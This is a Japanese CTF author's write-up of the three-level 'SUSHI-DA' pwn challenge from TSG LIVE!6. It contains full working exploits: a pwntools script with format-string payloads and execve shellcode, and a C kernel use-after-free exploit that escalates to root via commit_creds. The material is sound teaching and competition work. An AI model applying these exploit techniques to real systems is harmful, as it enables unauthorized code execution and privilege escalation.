イントロ
いつぞや開催されたTSG LIVE!6 CTF
。120 分という超短期間の CTF。pwn を作ったのでその振り返りと live の感想。
問題概要
Level 1~3 で構成される問題。どのレベルも LKM を利用したプログラムを共通して使っているが、Lv1/2 は LKM を使わなくても(つまり、QEMU 上で走らせなくても)解けるようになっている。 短期間 CTF であり、プレイヤの画面が公開されるという性質上、放送映えするような問題にしたかった。pwn の楽しいところはステップを踏んで exploit していくところだと思っているため、Level 順にプログラムのロジックバイパス・user shell の奪取・root shell の奪取という流れになっている。正直 Level3 は特定の人物を狙い撃ちした問題であり、早解きしてギリギリ 120 分でいけるかなぁ(願望)という難易度になっている。
SUSHI-DA1: logic bypass
static.sh 1$ file ./client
2./client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=982caef5973f267fa669d3922c57233063f709d2, for GNU/Linux 3.2.0, not stripped
3$ checksec --file ./client
4[*] '/home/wataru/test/sandbox/client'
5 Arch: amd64-64-little
6 RELRO: Partial RELRO
7 Stack: Canary found
8 NX: NX disabled
9 PIE: No PIE (0x400000)
10 RWX: Has RWX segments
冷え防止の問題。テーマは寿司打というタイピングゲーム。
client.c 1 struct {
2 unsigned long start, result;
3 char type[MAX_LENGTH + 0x20];
4 int pro;
5 } info = {0};
6 (snipped...)
7 info.result = time(NULL) - info.start;
8 puts("\n[ENTER] again to finish!");
9 readn(info.type, 0x200);
10
11 printf("\n🎉🎉🎉Congrats! You typed in %lu secs!🎉🎉🎉\n", info.result);
12 register_record(info.result);
13 if(info.pro != 0) system("cat flag1");
クリアした後に ENTER を受け付ける箇所があるが、ここでバッファサイズの 200+の代わりに 0x200 を受け付けてしまっているためstruct info
内で BOF が発生しinfo.pro
を書き換えられる。
SUSHI-DA2: user shell
client.c 1 while(success < 3){
2 unsigned question = rand() % 4;
3 if(wordlist[question][0] == '\x00') continue;
4 printf("[TYPE]\n");
5 printf(wordlist[question]); puts("");
6 readn(info.type, 200);
7 if(strncmp(wordlist[question], info.type, strlen(wordlist[question])) != 0) warn_ret("🙅🙅 ACCURACY SHOULD BE MORE IMPORTANT THAN SPEED.");
8 ++success;
9 }
10(snipped...)
11void add_phrase(void){
12 char *buf = malloc(MAX_LENGTH + 0x20);
13 printf("[NEW PHRASE] ");
14 readn(buf, MAX_LENGTH - 1);
15 for(int ix=0; ix!=MAX_LENGTH-1; ++ix){
16 if(buf[ix] == '\xa') break;
17 memcpy(wordlist[3]+ix, buf+ix, 1);
18 }
19}
タイピングのお題を 1 つだけカスタムできるが、お題の表示に FSB がある。これで stack の leak ができる。 この後の方針は大きく分けて 2 つある。1 つ目は、stack が RWX になっているため stack に shellcode を積んだ上で RA を FSB で書き換えて shell を取る方法。この場合、FSA の入力と発火するポイントが異なるため、FSA で必要な準備(書き換え対象の RA があるアドレスを stack に積む必要がある)は main 関数の stack に積んでおくことになる。また、発火に時間差があるという都合上、単純に pwntools を使うだけでは解くことができない。
client.c1int main(int argc, char *argv[]){
2 char buf[0x100];
3 srand(time(NULL));
4 setup();
5
6 while(1==1){
7 printf("\n\n$ ");
8 if (readn(buf, 100) <= 0) die("[ERROR] readn");
2 つ目は、canary だけリークしてあとは通常の BOF で ROP するという方法。こっちのほうが多分楽。正直、canary は leak できない感じの設定にしても良かった(buf サイズを調整)が、200 と 0x200 を打ち間違えたという雰囲気を出したかった都合上、canary の leak+ROP までできるくらいの設定になった。
SUSHI-DA3: root shell
ここまでで user shell がとれているため、今度は LKM のバグをついて root をとる。バグは以下。
sushi-da.c 1long clear_old_records(void)
2{
3 int ix;
4 char tmp[5] = {0};
5 long date;
6 for(ix=0; ix!=SUSHI_RECORD_MAX; ++ix){
7 if(records[ix] == NULL) continue;
8 strncpy(tmp, records[ix]->date, 4);
9 if(kstrtol(tmp, 10, &date) != 0 || date <= 1990) kfree(records[ix]);
10 }
11 return 0;
12}
タイピングゲームの記録を LKM を使って記録しているのだが、古いレコード(1990 年以前)と不正なレコードを削除する関数において kfree したあとの値をクリアしていない。これにより kUAF が生じる。
SMEP/SMAP 無効 KAISER 無効であるため、あとは割と任意のことができる。edit がないことや kmalloc ではなく kzalloc が使われているのがちょっと嫌な気もするが、実際は double free もあるためseq_operations
で leak したあとに再びそれを record として利用することで RIP を取ることができる。
full exploit
exploit.py 1#!/usr/bin/python2
2# -*- coding: utf-8 -*-
3
4# coding: 4 spaces
5
6# Copyright 2020 Google LLC
7#
8# Licensed under the Apache License, Version 2.0 (the "License");
9# you may not use this file except in compliance with the License.
10# You may obtain a copy of the License at
11#
12# https://www.apache.org/licenses/LICENSE-2.0
13#
14# Unless required by applicable law or agreed to in writing, software
15# distributed under the License is distributed on an "AS IS" BASIS,
16# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
17# See the License for the specific language governing permissions and
18# limitations under the License.
19
20from pwn import *
21import pwnlib
22import sys, os
23
24def handle_pow(r):
25 print(r.recvuntil(b'python3 '))
26 print(r.recvuntil(b' solve '))
27 challenge = r.recvline().decode('ascii').strip()
28 p = pwnlib.tubes.process.process(['kctf_bypass_pow', challenge])
29 solution = p.readall().strip()
30 r.sendline(solution)
31 print(r.recvuntil(b'Correct\n'))
32
33hosts = ("sushida.pwn.hakatashi.com","localhost","localhost")
34ports = (1337,12300,23947)
35rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
36rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
37rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
38context(os='linux',arch='amd64')
39#binf = ELF(FILENAME)
40#libc = ELF(LIBCNAME) if LIBCNAME!="" else None
41
42
43## utilities #########################################
44
45def hoge(command):
46 global c
47 c.recvuntil("$ ")
48 c.sendline(command)
49
50def typin():
51 c.recvuntil("[TYPE]")
52 c.recvline()
53 c.sendline(c.recvline().rstrip())
54
55def play_clear(avoid_nirugiri=True):
56 global c
57 hoge("play")
58 for _ in range(3):
59 typin()
60
61def custom(phrase):
62 global c
63 hoge("custom")
64 c.recvuntil("[NEW PHRASE] ")
65 c.sendline(phrase)
66
67def custom_wait_NIRUGIRI(pay, append_nirugiri=True):
68 global c
69 print("[.] waiting luck...")
70 res = ""
71 found = False
72 if append_nirugiri:
73 custom("NIRUGIRI" + pay)
74 else:
75 custom(pay)
76
77 while True:
78 hoge("play")
79 for _ in range(3):
80 c.recvuntil("[TYPE]")
81 c.recvline()
82 msg = c.recvline().rstrip()
83 if "NIRUGIRI" in msg:
84 found = True
85 res = msg
86 if append_nirugiri:
87 c.sendline("NIRUGIRI"+pay)
88 else:
89 c.sendline(pay)
90 else:
91 c.sendline(msg)
92 c.recvuntil("ENTER")
93 c.sendline("")
94 if found:
95 break
96
97 return res[len("NIRUGIRI"):]
98
99def inject_wait_NIRUGIRI(pay):
100 global c
101 print "[.] injecting and waiting luck",
102 res = ""
103 found = False
104 aborted = False
105 custom(pay)
106
107 while True:
108 hoge("play")
109 for _ in range(3):
110 c.recvuntil("[TYPE]")
111 c.recvline()
112 msg = c.recvline().rstrip()
113 if "NIRUGIRI" in msg:
114 print("\n[!] FOUND")
115 c.sendline("hey")
116 return
117 else:
118 print ".",
119 c.sendline(msg)
120 if aborted:
121 aborted = False
122 continue
123 c.sendline("")
124
125## exploit ###########################################
126
127def exploit():
128 global c
129 global kctf
130 MAX_TYPE = 200
131
132 ##############################
133 # LEVEL 1 #
134 ##############################
135 # overwrite info.pro
136 play_clear()
137 c.recvuntil("ENTER")
138 c.sendline("A"*0xf8)
139 c.recvuntil("typed")
140 c.recvline()
141 flag1 = c.recvline().rstrip()
142 if "TSGLIVE" not in flag1:
143 exit(1)
144 print("\n[!] Got a flag1 🎉🎉🎉 " + flag1)
145
146 ###############################
147 ## LEVEL 2 #
148 ###############################
149 SC_START = 0x50
150 pay = b""
151
152 # leak stack
153 pay += "%42$p"
154 leaked = int(custom_wait_NIRUGIRI(pay), 16)
155 ra_play_game = leaked - 0x128
156 buf_top = leaked - 0x230
157 target_addr = ra_play_game + 0x38
158 print("[+] leaked stack: " + hex(leaked))
159 print("[+] ra_play_game: " + hex(ra_play_game))
160 print("[+] buf_top: " + hex(buf_top))
161 pay_index = 47
162
163 # calc
164 v0 = target_addr & 0xFFFF
165 v1 = (target_addr >> 16) & 0xFFFF
166 v2 = (target_addr >> 32) & 0xFFFF
167 assert(v0>8 and v1>8 and v2>8)
168 vs = sorted([[0,v0],[1,v1],[2,v2]], key= lambda l: l[1])
169
170 # place addr & sc
171 sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
172 c.recvuntil("$ ")
173 pay = b""
174 pay += "A"*8
175 pay += p64(ra_play_game) + p64(ra_play_game+2) + p64(ra_play_game+4)
176 pay += sc
177 assert(len(pay) <= 0x50)
178 assert("\x0a" not in pay)
179 c.sendline(pay)
180
181 # overwrite return-addr with FSA
182 pay = b""
183 pay += "NIRUGIRI"
184 pay += "%{}c".format(vs[0][1]-8)
185 pay += "%{}$hn".format(pay_index + vs[0][0])
186 pay += "%{}c".format(vs[1][1] - vs[0][1])
187 pay += "%{}$hn".format(pay_index + vs[1][0])
188 pay += "%{}c".format(vs[2][1] - vs[1][1])
189 pay += "%{}$hn".format(pay_index + vs[2][0])
190 assert("\x0a" not in pay)
191 assert(len(pay) < MAX_TYPE)
192 print("[+] shellcode placed @ " + hex(target_addr))
193
194 # nirugiri
195 inject_wait_NIRUGIRI(pay) # if NIRUGIRI comes first, it fails
196 c.sendlineafter("/home/user $", "cat ./flag2")
197 flag2 = c.recvline()
198 if "TSGLIVE" not in flag2:
199 exit(2)
200 print("\n[!] Got a flag2 🎉🎉🎉 " + flag2)
201
202 ##############################
203 # LEVEL 3 #
204 ##############################
205 # pwning kernel...
206 c.recvuntil("/home/user")
207 print("[!] pwning kernel...")
208 if kctf:
209 with open("/home/user/exploit.gz.b64", 'r') as f:
210 binary = f.read()
211 else:
212 with open("./exploit.gz.b64", 'r') as f:
213 binary = f.read()
214
215 progress = 0
216 pp = 0
217 N = 0x300
218 total = len(binary)
219 print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary))))
220 for s in [binary[i: i+N] for i in range(0, len(binary), N)]:
221 c.sendlineafter('$', 'echo -n "{}" >> exploit.gz.b64'.format(s)) # don't forget -n
222 progress += N
223 if (float(progress) / float(total)) > pp:
224 pp += 0.1
225 print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(total)))
226 c.sendlineafter('$', 'base64 -d exploit.gz.b64 > exploit.gz')
227 c.sendlineafter('$', 'gunzip ./exploit.gz')
228
229 c.sendlineafter('$', 'chmod +x ./exploit')
230 c.sendlineafter('$', '/home/user/exploit')
231
232 c.recvuntil("# ")
233 c.sendline("cat flag3")
234 flag3 = c.recvline()
235 if "TSGLIVE" not in flag3:
236 exit(3)
237 print("\n[!] Got a flag3 🎉🎉🎉 " + flag3)
238
239
240## main ##############################################
241
242if __name__ == "__main__":
243 global c
244 global kctf
245 kctf = False
246
247 if len(sys.argv)>1:
248 if sys.argv[1][0]=="d":
249 cmd = """
250 set follow-fork-mode parent
251 """
252 c = gdb.debug(FILENAME,cmd)
253 elif sys.argv[1][0]=="r":
254 c = remote(rhp1["host"],rhp1["port"])
255 elif sys.argv[1][0]=="v":
256 c = remote(rhp3["host"],rhp3["port"])
257 elif sys.argv[1][0]=="k":
258 c = remote("127.0.0.1", 1337) # kctf XXX
259 kctf = True
260 print("[+] kctf healthcheck mode")
261 print(c.recvuntil("== proof-of-work: "))
262 if c.recvline().startswith(b'enabled'):
263 handle_pow(c)
264 else:
265 c = remote(rhp2['host'],rhp2['port'])
266
267 try:
268 exploit()
269 except:
270 print("\n")
271 print(sys.exc_info()[0], sys.exc_info()[1])
272 print("\n[?] exploit failed... try again...")
273 exit(4)
274 if kctf:
275 print("\n[+] healthcheck success!")
276 exit(0)
277 else:
278 c.interactive()
kernel.
exploit.c 1#define _GNU_SOURCE
2#include <string.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <stdint.h>
6#include <unistd.h>
7#include <assert.h>
8#include <stdlib.h>
9#include <signal.h>
10#include <poll.h>
11#include <pthread.h>
12#include <err.h>
13#include <errno.h>
14#include <sched.h>
15#include <linux/bpf.h>
16#include <linux/filter.h>
17#include <linux/userfaultfd.h>
18#include <linux/prctl.h>
19#include <sys/syscall.h>
20#include <sys/ipc.h>
21#include <sys/msg.h>
22#include <sys/ioctl.h>
23#include <sys/mman.h>
24#include <sys/types.h>
25#include <sys/xattr.h>
26#include <sys/socket.h>
27#include <sys/uio.h>
28#include <sys/shm.h>
29
30#include "../include/sushi-da.h"
31
32
33// commands
34#define DEV_PATH "/dev/sushi-da" // the path the device is placed
35
36// constants
37#define PAGE 0x1000
38#define FAULT_ADDR 0xdead0000
39#define FAULT_OFFSET PAGE
40#define MMAP_SIZE 4*PAGE
41#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
42// (END constants)
43
44// globals
45// (END globals)
46
47
48// utils
49#define WAIT getc(stdin);
50#define ulong unsigned long
51#define scu static const unsigned long
52#define NULL (void*)0
53#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
54 } while (0)
55#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
56 if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
57ulong user_cs,user_ss,user_sp,user_rflags;
58struct pt_regs {
59 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
60 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
61 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
62 ulong orig_ax; ulong ip; ulong cs; ulong flags;
63 ulong sp; ulong ss;
64};
65void print_regs(struct pt_regs *regs)
66{
67 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
68 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
69 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
70 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
71 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
72}
73void NIRUGIRI(void)
74{
75 puts("[!] NIRUGIRI!");
76 char *argv[] = {"/bin/sh", NULL};
77 char *envp[] = {NULL};
78 puts("\n\n Got a root! 🎉🎉🎉");
79 execve("/bin/sh",argv,envp);
80}
81
82// should compile with -masm=intel
83static void save_state(void) {
84 asm(
85 "movq %0, %%cs\n"
86 "movq %1, %%ss\n"
87 "movq %2, %%rsp\n"
88 "pushfq\n"
89 "popq %3\n"
90 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
91}
92
93ulong kernbase;
94ulong commit_creds, prepare_kernel_cred;
95
96static void shellcode(void){
97 ulong init_cred;
98 asm(
99 "mov %%rdi, 0x0\n"
100 "call %P1\n"
101 "movq %0, %%rax"
102 : "=r" (init_cred) : "r" ((void*)prepare_kernel_cred) : "memory"
103 );
104 asm(
105 "mov %%rdi, %0\n"
106 "call %P1\n"
107 ::"r"((void *)init_cred), "r"((void *)commit_creds) : "memory"
108 );
109 asm(
110 "swapgs\n"
111 "mov %%rax, %0\n"
112 "push %%rax\n"
113 "mov %%rax, %1\n"
114 "push %%rax\n"
115 "mov %%rax, %2\n"
116 "push %%rax\n"
117 "mov %%rax, %3\n"
118 "push %%rax\n"
119 "mov %%rax, %4\n"
120 "push %%rax\n"
121 "iretq\n"
122 ::"r"(user_ss), "r"(user_sp), "r"(user_rflags), "r"(user_cs), "r"(&NIRUGIRI) : "memory"
123 );
124}
125// (END utils)
126
127void register_record(int fd, int score, char *date){
128 struct ioctl_register_query q = {
129 .record = {.result = score,},
130 };
131 strncpy(q.record.date, date, 0x10);
132 if(ioctl(fd, SUSHI_REGISTER_RECORD, &q) < 0){
133 errExit("register_record()");
134 }
135}
136
137void fetch_record(int fd, int rank, struct record *record){
138 struct ioctl_fetch_query q = {
139 .rank = rank,
140 };
141 if(ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0){
142 errExit("fetch_record()");
143 }
144 memcpy(record, &q.record, sizeof(struct record));
145}
146
147void clear_record(int fd){
148 if(ioctl(fd, SUSHI_CLEAR_OLD_RECORD, NULL) < 0){
149 errExit("clear_record()");
150 }
151}
152
153void show_rankings(int fd){
154 struct ioctl_fetch_query q;
155 for (int ix = 0; ix != 3; ++ix){
156 q.rank = ix + 1;
157 if (ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0) break;
158 printf("%d: %ld sec : %s\n", ix + 1, q.record.result, q.record.date);
159 }
160}
161
162void clear_all_records(int fd){
163 if(ioctl(fd, SUSHI_CLEAR_ALL_RECORD, NULL) < 0){
164 errExit("clear_all_records()");
165 }
166}
167
168int main(int argc, char *argv[]) {
169 char inbuf[0x200];
170 char outbuf[0x200];
171 int seqfd;
172 int tmpfd[0x90];
173 memset(inbuf, 0, 0x200);
174 memset(outbuf, 0, 0x200);
175 printf("[.] pid: %d\n", getpid());
176 printf("[.] NIRUGIRI at %p\n", &NIRUGIRI);
177 printf("[.] shellcode at %p\n", &shellcode);
178 int fd = open(DEV_PATH, O_RDWR);
179 if(fd <= 2){
180 perror("[ERROR] failed to open mora");
181 exit(0);
182 }
183 clear_all_records(fd);
184
185 struct record r;
186 struct record r1 = {
187 .result = 1,
188 .date = "1930/03/12",
189 };
190
191 // heap spray
192 puts("[.] heap spraying...");
193 for (int ix = 0; ix != 0x90; ++ix)
194 {
195 tmpfd[ix] = open("/proc/self/stat", O_RDONLY);
196 }
197
198 // leak kernbase
199 puts("[.] generating kUAF...");
200 register_record(fd, r1.result, r1.date);
201 clear_record(fd);
202 if((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0){
203 errExit("open seq_operations");
204 }
205 fetch_record(fd, 1, &r);
206
207 const ulong _single_start = *((long*)r.date);
208 const ulong kernbase = _single_start - 0x194090;
209 printf("[+] single_start: %lx\n", _single_start);
210 printf("[+] kernbase: %lx\n", kernbase);
211 commit_creds = kernbase + 0x06cd00;
212 printf("[!] commit_creds: %lx\n", commit_creds);
213 prepare_kernel_cred = kernbase + 0x6d110;
214 printf("[!] prepare_kernel_cred: %lx\n", prepare_kernel_cred);
215
216 // double free
217 struct record r2 = {
218 .result = 3,
219 };
220 *((ulong*)r2.date) = &shellcode;
221 clear_record(fd);
222 register_record(fd, r2.result, r2.date);
223
224 // get RIP
225 save_state();
226 for (int ix = 0; ix != 0x80; ++ix){
227 close(tmpfd[0x90 - 1 - ix]);
228 }
229 read(seqfd, inbuf, 0x10);
230
231 return 0;
232}
Makefile
Makefile 1# exploit
2$(EXP)/exploit: $(EXP)/exploit.c
3 docker run -it --rm -v "$$PWD:$$PWD" -w "$$PWD" alpine /bin/sh -c 'apk add gcc musl-dev linux-headers && $(CC) $(CPPFLAGS) $<'
4 #$(CC) $(CPPFLAGS) $<
5 strip $@
6
7.INTERMEDIATE: $(EXP)/exploit.gz
8$(EXP)/exploit.gz: $(EXP)/exploit
9 gzip $<
10$(EXP)/exploit.gz.b64: $(EXP)/exploit.gz
11 base64 $< > $@
12exp: $(EXP)/exploit.gz.b64
感想
まずは、参加してくださった方々、とりわけ外部ゲストの方々ありがとうございました。超強豪が問題を解いている画面を見れるなんて滅多にないので、裏でかなり興奮していました。 特に @pwnyaa さんが残り 3 分くらいで root shell を取ったところは感動モノでした。wget を入れていなかったことや、サーバが本当の最後の数分間に調子が悪かったらしいこともあって足を引っ張ってしまって申し訳ないです。。。
今回の作問は、ステップを登っていく楽しさは味わえるようにしながら、ライブなので冷えすぎないように調整することが大事だったと思います。最初はそのコンセプトのもとにプログラムも 80-90 行くらいで収まるようにしていたのですが、あまりにも意味のないプログラムになりすぎたのでボツにして寿司打にしました(最初は cowsay をもじった morasay という問題でした)。その結果として 100 行を超えてしまったのですが、個人的に少し長いプログラムよりもなにをしているかわからないプログラムのほうが読むの苦手なので寿司打におちつきました(それでもレコードを LKM に保存するの、意味わからんけど)。難易度に関しては、Lv1/2 はライブ用にしましたが、Lv3 は外部用の挑戦問題にしました。ただ、userland 側のコードの多さゆえにミスリードが何箇所か存在していたらしく、それのせいで数分奪われてしまい解ききれないという人もいたと思うので、やっぱりシンプルさは大事だなぁと反省しました。
今回の pwn に関しては、kCTF でデプロイしています。ただ、k8s よくわからんので、実際に運用しているときにトラブルが発生して迅速に対応できるかと言うと、僕の場合は No です。また、kCTF には healthcheck を自動化してくれるフレームワークが有るため exploit を healthcheck できるような形式で書いたりする必要があります(今回はそんなに手間ではありませんでしたが、上の exploit コードの 1/3 くらいは冗長だと思います)。今回も healthcheck は走ってたらしいですが、なにせ status バッジがないためあんまり意味があったかはわかりません。
余談ですが、kCTF で権限を落とすのに使われている setpriv ですが、apt リポジトリの setpriv を最新の kernel で使うことはできません。というのも、古い setpriv は/proc/sys/kernel/cap_last_cap
から入手した cap 数とlinux/include
内で定義されている cap 数を比べて assert しているようなので。
1wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:41:59 Wed May 05
2$ cat /proc/sys/kernel/cap_last_cap
339
4wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:42:11 Wed May 05
5$ cat /usr/include/linux/capability.h | grep CAP_LAST_CAP -B5
6/* Allow reading the audit log via multicast netlink socket */
7#define CAP_AUDIT_READ 37
8#define CAP_LAST_CAP CAP_AUDIT_READ
最新の kernel では CAP_BPF と CAP_PERFMON が追加されているため差分が生じて assert に失敗してしまいます。最新の setpriv ではcap_last_cap
を全面的に信用することにしたらしいので、大丈夫なようです。
1/* We can trust the return value from cap_last_cap(),
2 * so use that directly. */
3for (i = 0; i <= cap_last_cap(); i++)
4 cap_update(action, type, i);
実際にデプロイするときは kernel の ver 的に大丈夫でしたが、local で試すときには最新版の setpriv をソースからビルドして使いました。
あと毎回思うんですが、pwn の読み方はぽうんではなくぱうんだと思います。
まぁなにはともあれ live-ctf も終わりです。